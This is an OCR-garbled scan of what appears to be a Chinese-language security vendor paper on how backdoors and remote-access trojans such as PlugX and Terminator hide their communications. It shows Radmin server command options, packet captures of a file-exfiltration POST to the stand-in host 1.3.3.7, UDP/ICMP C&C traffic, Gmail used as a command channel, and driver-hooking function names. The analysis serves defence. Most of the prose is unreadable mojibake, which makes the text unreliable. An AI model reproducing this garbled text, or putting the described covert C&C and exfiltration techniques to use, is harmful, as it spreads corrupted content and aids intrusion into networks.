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RFEA BB EE R IE UL T L B AR T LERR - HE L 53 - FFZER
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RFIE K — B Y 285
b > B bR AR
AEE AR ] AR b R 1A
fakas o

A Hh ¥ DNS
(AR &

M 2 - SRS (SRR ASE T H IR -
reFItEETh
R

DEBIRTE | —RIEEME R E EHIRE » £V R R h (e SEHERE < Al

e TEE RREETIE - 48R 18RS B FARSE LM AR 1P ikt - RRES
EE|E -

(@i

BB R A I F AR E R PIRE RS H (BRE) T8 Rk eE B B S TR &)
LI EE P PR R ey o — EAEEEeR - PR @@ —EE 551/ iz (shell) 2

PiFas o




B

SEE AR IR P o F R PR R a0

C:s>r_server.exe —h

C:

Usage: 1_server.exe optons
Qiptions:

fsetup - show window dialog box with sstup settings (install,remove, port,pass)
/pase00oo - specify a password
Iportooon: - specifyr a port number
fingtall - install service (Win9588 or Winll T) and driver (Winll T)
fundnstall - uninstall service and driver, if present
feave - save pase S port to the default program sitings in the registos
if you not specify port oxtend pass when vz this option,
default port or'end empty password will be saved.
filence - don't show message boxes,m fnstall, fondnstall or fsave commands.
{7 - this help screen

Note, that port and. password specified in the commeand prompt,
always overrides default settings from the registoy

E 3 : f% Mg Radmin® Server #UEER FHE & 7]
711 T 3 EE 5 & /i (GUI) ©

— {18 {56 PR B SR A 7 B T RO ZAF I FEIAZ 02 Radmin Server i#lin B HAES o © BRAE %
FHa BT SR N B A 0 —RDE i (RS - (HEZ % 21800 T Radmin Server FTTIF2AAE
Foi2iE HIZHERE) TH o 8 —iRASuEE SR EE s EE 6 e o

HUE - @EN KGR SR 0 — EE AR - (HER
3EHE AT ae S EE BRI E TR -

SENRERA - R iE L

L PRI AR B

A DNS
G

4 : EURIREE AN REE
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B3 L 5E R RE ) Tk

T SR8 B ] 3EE 5 RS AR L PR FIRE ZCEE S ONARE R » SEE TR LE A A e A
TE FIEH IR -

A CIEE b S ]

BEASH M R TR SRR ARSI O < 7 e IR EE B L
PR ACE | T HER R IR (CEC) MRS » A HeFIHE (3 J T B
SR S e OB SERRRE AEARTE B RS o T R -

el

By 1B KiE - B RO —(ERFIEZGE R B RS - SR R EE %M
8RR AR - AR R B LR o NELEIS R PR R - FIAE
EREANERE - BEEE G E B AAHRIIERNEREEE - 8 1 » BE ik
WG AR LR AR 1P AR (FARSS - FACE iR iRt @RS - LR RBEELAELME -

JHEZIR 80 BY 443

SELEE 21

F R TR
[=1=}

GililEr

M 5 ¢ S [l EHR A AN fAEE o
B 1E S ) AR T

FERERS B imAh A B2 Al KSR AIZEARE (IDS) BEE IT Rt & H B AR5k 1
FEE S [AER BRI © JEA - 2B e S ] B R LIRS S L
FEABGEAGRE - g HATED) -

PR E B R R AR 7 R S B R N ECE R URL BB FE 4
[FEE A FTER) - #2R157 InterScan™ Messaging Security ~ #Z R Deep
Discovery L& £ ScanMail™ Suite for Microsoft® Exchange™ &l & 1~ #5 1 fiR
TP 091011

A1 FA AT FH 8RR
BUEE H G AT R A B RS S R RIE R 1E RS TR > RS AE

R U RE R o B1A0 > BrE rlReE A EREERE A AEE B IR - AREFIH S
—EERRE AR N REHE A - 12
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asp - A I [o) |
“ﬂ HHE #A0) RAT) RBE
|
Prlvme Funetion getIP()
Din striPhddr
1f Requeet Serve r\ianahl es("HTTP_X_FORWARDED FOR") = "" OR In

trIPhddr = Request.ServerVariables( "RENOTE_ADDR" )
E]seli }Biérﬂ?equest Sel verVariables( "HTTP_X_FORVARDED FOR"),

—FEERES - R TE-weMER) > FEe | -lhkesdEh AR
STRIDEERA « DIVE Wil i | B
THEFEA A BB o (EEHEBRE T - B o™

GRS BRI e B AR HAUER] - 12
FEEAFULT - B & G (50 A AR A e (R AR 2R A I 28
—IBRIER AR PR - SRR & HER R LELE -

" Second-line
backdoors

o
& 6 : $H€ B IESE K E R
IR PIRE R R IR S AR A
(script) °

PRI (% T #i7E0)

R (1)

THCE R

‘ \ BRI
>

SR (2)

B 7 = 55— Bk FIRAAESE B AR URE th it & 1F -

TR AR HIRE BEAE B ISRM T - BZE G NFFIIA Ping BX Netcat ZcHa 2 1% H e
AR ARATEARE A5 IEH » Netcat 2 —{EfERE TEME » AR HMEIERAGERE R - 13

ASETEFLEAF LT » FLERE S SRR PR (R AR B AR > A RE R RES @RS e
I AMZPHEEAM (B ARIGE) « FM & AR E I H—LL N2 Netcat FHLIZHRERIEFIRE X
(41 TSPY_DESLOC.AA) » HKEGIENEAIZIIEAMERIBIE N T B2t AR e
JRENTERR o 14

8 2014-05-29 12:00:22. 786597000 192.168.0.123 1196 1.3.3.7
9 2014-05-29 12:00:22.793223000 192,168.0.123 1196 1.3.3.7

[ 8 : (M ATERR ANSE Tl BRI PSR - SUBITE T AR ffﬁféi{ﬁﬂ
BIRYIEYL T R IR RS (R EI RGNS EHE IR
HATIFATRAAL)
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f L EIE$?£ETI&%% > BZEE AT LIRS (B D) RN (R 2 St (R Al e ki 2 B

HESEREIR R SR KAGRE 2
TR IR AR AR FO R R EOS & R8I A ST 88 2

=

B A Re DI REE AT P FE Rk - miRe BT 22 3L — (@R E B AR T — LE@h {F -
BlanE e S -

BESN - BrE thEr Fll A B — i T e MR U2 B S @SR LR - EXERM
T2 TUTE (S ST (8 S P Ry TAE (BN =il) » DRI - (EiiE ;ﬁétjﬁﬁ'f TS
BHRRFH] - RIS B - S R BER R o

¢ Follow TCP Stream

et B Encrypted file name

—
POST /ts.php?1d=000041#tdfpawp=hkc [HTTP/1.1
Content-Type: application Lﬂ«m—ﬁorlm-ur"l engcoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SVi)
flost: 1.3.3.7
Content-Length: 27
Connection: Keep-Alive
ICache-Control: no-cache

This is a test file by dovel)

Unencrypted file content

|Enﬁ.re conversation (277 bytes) LI

Find | Seve s | Print [C ASCH € EBCDIC € HexDump  Chmsys @ Rav

Help | Filter Out This Stream | | Close |

& 9 : IR EHIEE S EEER 443 [Hi— (AR BRI RS (5
2 e (1R PV ZUR R BREE B SRR B TR FTHERY) -

B LA A AT F SRR A T

PR EENEBETIE > Al —Ert B g i BRI E ZHES - GIATEERH
f'] Deep Discovery @ —ERHUHIBERTTE o N#EsgEE - Fm e X n0HEis
TR R R A LR PR RO RS O & B B ARER RS > B E—
0 HTTP B —1% - IR AT RE & R BB R -
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FIFR &E o FfaE

PR PTEAM EZERR R 1R E HAR SR RE R & 2 AR R (] - AR A — iy
BRI a A SRR gl N RS AR R - Hrh—H 7 ikge F AR s ARG
1R BETUR © 15
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Just another WordPress.com site

About
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SHARE THIS:

W Twitter || f Facebook

H Like
Be the first to like this.
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B LEFIH & B (FHERER Tk

B AR B BV R SO R RS I > DR R AT R
B o BAILERLR LR S ARBE ST AT S T B AN AR B - IO
AT PR R A TR R RO ) » R S (P TR
# -

FIIFA & RGPS a8 an e /e ZE i 0A

Bt g H—mE @i E @R BN s A & B IR KRR THE - 2
EL » HME FoEsaE B A% P2 =0 Windows® Live Messenger F/1 Ajax IM B[
SN 9 E LB Gmail™ B (A% @517 E © BKDR_DESCLOC.A BllZ—1l -

7 A
GOL’g[e “ @gmail com ~

Gmail ~ “ o § R s FH|E Ei14o2814 < > -
=402 0 Failure Analysis Experts - www seallabs com - Full service lab. with expertise in metals, comp [--- | R &Emisr-& 7
Lraiz ] _
l BiEt | am here! WeltEE X [ A e
ST
i Smith John @amail.com 9:53 (2 3 4En) « -  Impact Computers
i HEE - Original Notebook Hard Drives
== I On Sale / buy today, ship today
HTIERE -FA19B04070F 2012-9-17 9°50°16 www impactcomputers com
[mapl/sitiEis Video Chat For Free
[mapl/iiE gt - [ e—— Video Chat & Gannect With
BRREYEEE RO AT ey Friends On Facebook. Sign Up
5 Today!
www.Facebook.com
Compact Geared Motors
Failure Analysis Experts g - Rt AsRTETE? Type Compacta for Reversing
Full service lab. with expertise in metals, composites and plastics. fasks Torque u pto 1600NM.
www_seallabs.com Speed upto 193
o (7 www_Framo-Morat.com
AT B HostEaseSiE X EPHPFH1
oM BIER ARTHAR BEE TR
LT s
.- . ELHIRE iz SN

B 13 : %FIFEFIF Gmail ZREIEHEE -

Terminator %[22\ (FAKEM) giie Fll E KR Fi% - M B e TS rsan s L ryaT 32 (E
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MSN Messenger

[Eat omeraton (102 )
Find Save As Pint | ASCID € EBCDIC
= Rwoumssoan [ cos |

.HTML file RAW binary
8 14 : Terminator fY#&{% e EER AT (/7 DU @A i0h € HOASREH

@ Hex Dump € Chmys € Rew

(B PR Z AT T B (AR 17 Bt ZE RS » AR S S B it st 5 o e DU -
ity - BEth A ERIER S E AR  tLIh - ERFITEA A S el Re A ARE - A
HEARGERE — R [V MERR L P Re B E MR AR -

B LE IR AR5 (8 A b o / P ZE AR BE R Tk

HREL S GG 1L FHERSIT R - I - @ S BCRET A (R /g A - i —
W ERR EH —E R RRIE R RS - BB OfficeScan -

SRR 0

B T B R (L PRI AR B AU AL ~ SEIEER ~ P (LHkEEEL O - B AR T RE s R At M AT
B35 5 1E R BEEE R o A > PlugX RIF(ESEfERER A T T =& RHE @ E
(User Datagram Protocol » f&if# UDP) » TMIE—fl & AR el EaE 6 E J
(Transmission Control Protocol » fififF TCP) » A B 1% (R AR AREAN © 17 N » Hfd
UDP 3E3f\t5 5 i = [/ 28 (three-way handshake) 1 B2fH 228 HIThEE » Rt - 292
AEE RHERRIFAEABE A T LR TCP KRBERFG IEERHEL: » FELR AN M@ AR E 5 o 18
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51 2013-01-10 14:45:59.499128 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destination port: p
52 2013-01-10 14:45:59.499192 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destimation port: p»
53 2013-01-10 14:45:59.499238 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destimation port: p»
54 2013-01-10 14:45:59.518791 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destimation port: p»
55 2013-01-10 14:45:59.518380 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destimatien port: m
56 2013-01-10 1 59.518951 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source por sstp Destination port: p
57 2013-01-10 14:46:01.077453 192.168.0.101 1036 1.3 4002 UDP 66 Source port: nsstp Destimation port: p
58 2013-01-10 1« 01.077538 192.168.0.101 1036 1.3 4002 UDP 66 Source por sstp Destination port: p>

I R N R R N N I NI

59 2013-01-10 1 01.077584 192.168.0.101 1036 1.3 4002 UDP 66 Source por sstp Destination port: p
60 2013-01-10 14:46:02. 642884 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destination port: p
61 2013-01-10 14:46:02. 642946 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destination port: p
62 2013-01-10 14:46:02. 642996 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destination port: p
71 2013-01-10 14:46:04.219557 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source port: nsstp Destination port: p
72 2013-01-10 1: 04.219615 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source por sstp Destination port: p
73 2013-01-10 14:46:04.219662 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source por sstp Destination port: m
77 2013-01-10 14:46:05.781198 192.168.0.101 1036 1.3.3. 4002 UDP 66 Source por sstp Destination port: m

1 |

Frame 57: G6 bytes on wire (528 bits), 66 byfes captured (528 bits) 0000 00 10 20 30 40 50 00 Oc 29 7e 19 96 08 00 45 00
Ethernet II, Src: Vmware_7e:19:96 (00:0c:29:7e:18:96), Dst: HandHeld_30:40:50 (( g%g gg 34 00 46 00 00 80 11 75 5c cO a8 00 65 01 03
Internet Protocol Version 4, Src: 192.168.0.101 (192.168.0.101), Dst: 1.3.3.7 (1 |oo30
Protocol, Src Port: nsstp (1036), Dst Port: pxc-spwr-ft (4002)

[ 15 : PlugX f# ] UDP AR EZFE1 1A (7 Al 28851 -

07 04 0c Of a2 00 20 &l 28

|

/" Follow UDF Stream 10 x|
rStream Content

BOD0D000 30 00 OZ 00 00 00 OF aZ 01 03 03 07 00 04 00 00 0..ovvvv wooeness =
00000010 00 10 00 00 00 00 00 00 =
DODOOD1E 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevernn venennn.
00000028 00 10 00 00 00 00 00 00

00000030 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn ounennn.
00000040 00 10 00 00 00 00 00 00

0000048 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevernn unennn.
00000058 00 10 00 00 00 00 00 00

00000060 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn venennn.
00000070 00 10 00 00 00 00 00 00

DOD0ND7E 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn vunennn.
0000008 00 10 00 00 00 00 00 00

00000090 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Oueveenn ounennn.
D000O0DA0 00 10 00 00 00 00 00 00

DODONDAE 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn unennn.
DODODDEE 00 10 00 00 00 00 00 00

D00000CO 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn venennn.
000000OD0 00 10 00 00 00 00 00 00

DODONODE 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn venennn.
DODODDEE 00 10 00 00 00 00 00 00 |
DODONOFO 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn venennn.
00000100 00 10 00 00 00 00 00 00

DOD0O108 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn unennn.
00000118 00 10 00 00 00 00 00 00

00000120 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn venennn.
00000130 00 10 00 00 00 00 00 00

0000138 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevernn ounennn.
00000148 00 10 00 00 00 00 00 00

00000150 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevevnn venennn.
00000160 00 10 00 00 00 00 00 00

DOD0O168 30 00 02 00 00 00 OF a2 01 03 03 07 00 04 00 00 Ouevernn vunennn. =l
IEnti.re conversation (576 butes) LI

Fid | Swess | Pant [C Ascn  © EBCDIC @ ” e
Help | Cloz=

& 16 : PlugX 7£ UDP & & HNs T H ZH) TCP 1Z5E -

B 5 BB AN R I UDP 2R A2 e (Rl A e > M2 RS s 45 )
FEEEE ) (Internet Control Message Protocol » fifi ICMP) o It IhEE 2 NETE
PlugX #EdIR2NE - BB K RETE E ELE LI — A S i Rl ikes - G REER A TCP
HTTP ~ UDP ¢ ICMP ;BRI E °
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B Default(1/0)

il
<
a

T
E—

a4 3
q
a3

5l
il
a

o

it

B 17 : PlugX %[ IR2 =CH i e e

80 Running

443 Running

80 Running

" =l UpDp 442 Running
ICMP 80 Running

443 Running

Listener protocol stap success!
i Listerner protocol stop success!
Listerer protocol start success!
Listerer protocol start success!

18 : PlugX FFEHIRE 2 AT [RIRF B FE 2 (ELE R AER 7 E - IEEd
TR UL EE B H R PREE AN 0 FE M IR

12
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B 1E A R R B T B T

S5 1 ] e A 24 FEE A 60 72 2 BEL A P R AR e AT (R FIRE 2 TR BAED Kt
ER%GE RBRL B E BRAG R L@ E o B0 - 1T R E E A ] DIEHERTE
HEAEREE) ICMP & - $ERE R —ER =H(RE - (BAlVE FIRe A& IEE 177
{ o ANith - AR AR (DNS) iRt i (5 A EEzR 53 Fl UDP @ e
R > — AR R R R G R R - DIB5 At DNS Rl fkas 5 Hl -

FIFIEET DNS 7

B i TR FH AR A BRI B B t 4 AT R AR R Y 1P (LhEZRN LA SR » 2RTm » B kGl
AL ST S A R IR A AR SR A2 R B [ - [ A5 KHEZAE DNS 230218 H
EESATE - K — MR LUEE 8 DNS AR -

MEZE Ry 1SRV ETE > M &I EETH) DNS ZEam 2K a5 M ik Al 15 2 A fe 122 4
e (AR AR 1P o

Follow TCP Stream =15

Stream Content

[GET /dns/dnsTookup?Ta=endl DSt;EF . type=A&submit=Resolve HTTP/1.1
User-Agent: Mozilla/5.0 (comp y FIOLIE U.w. i, INET 5.0)
o

Host: www.dnswatch. inf
Cache-Control: no-cache

IEnh':re converstion (199 btes) LI

Find | Save As Print i~ ABCI i~ EECDIC " Hex Dump 0 C Amays i* Raw

Help Filter Out This Stream | ’TI
19 = RFIEREREIHEISAR ) HET DNS #a) -




BRI | $87E H BB i I R R FTRE T

A3 DNS
liG

TfLmDNs

,  vwchnswatchinfo |
B 20 : % (I8 8E T () DNS A E(E -

ERAI BT MEIR AT B - (B AIRERERL B e H A e (R B E 2 At DNS Ef$ERVIE UL

T ERREAE TN P hk o BEIN o B T HREEEHR] - ARMTE AT DUE S (] ARaHY DNS 7D
#% - H{#H 0.0.0.0 1 127.0.0.1 FA{EfLHE » I BT R AN - A FEH MRS
FRGERR ©

B (- EET DNS EAHIFik

HR BT DNS A S MIEREEE - UL - REEDS IERMIRE AR FER TR
A H AR B RIARERAY 1P (23l - 1T RATEE B /A B HE DNS (]
AREs 1P ALtk > SRERA REAEDT SRR RIS R BN LAES 36 -

FIIFH EL BRRIHY E 2R

SR EFAR R E R - WEEBTEE AL O (T2 Ring0) BRENE 2K e T8
BF o 19 BffEtket IR A A TEigEaEh 2 =X/ m#iFE (Network Driver
Interface Specification » f&## NDIS) 2 Windows fifiiF-& (Windows Filtering Platform »
fEiT WFP) 2R EZHE 5 1AM - E R AR EERR - A HEHEEMER - BE IR RAERE
FRRHEERAGEE > A 2SI THIRE -

Address | Ondinal | Name | Library |
| 000000--- Furpelnjecttletworkiend &amel furplclot
%] 000000--- FurpelnjectionHand leC reate]l furplclnt
%z 000000--- FurpslnjectionHand leDestroy( furpkelt
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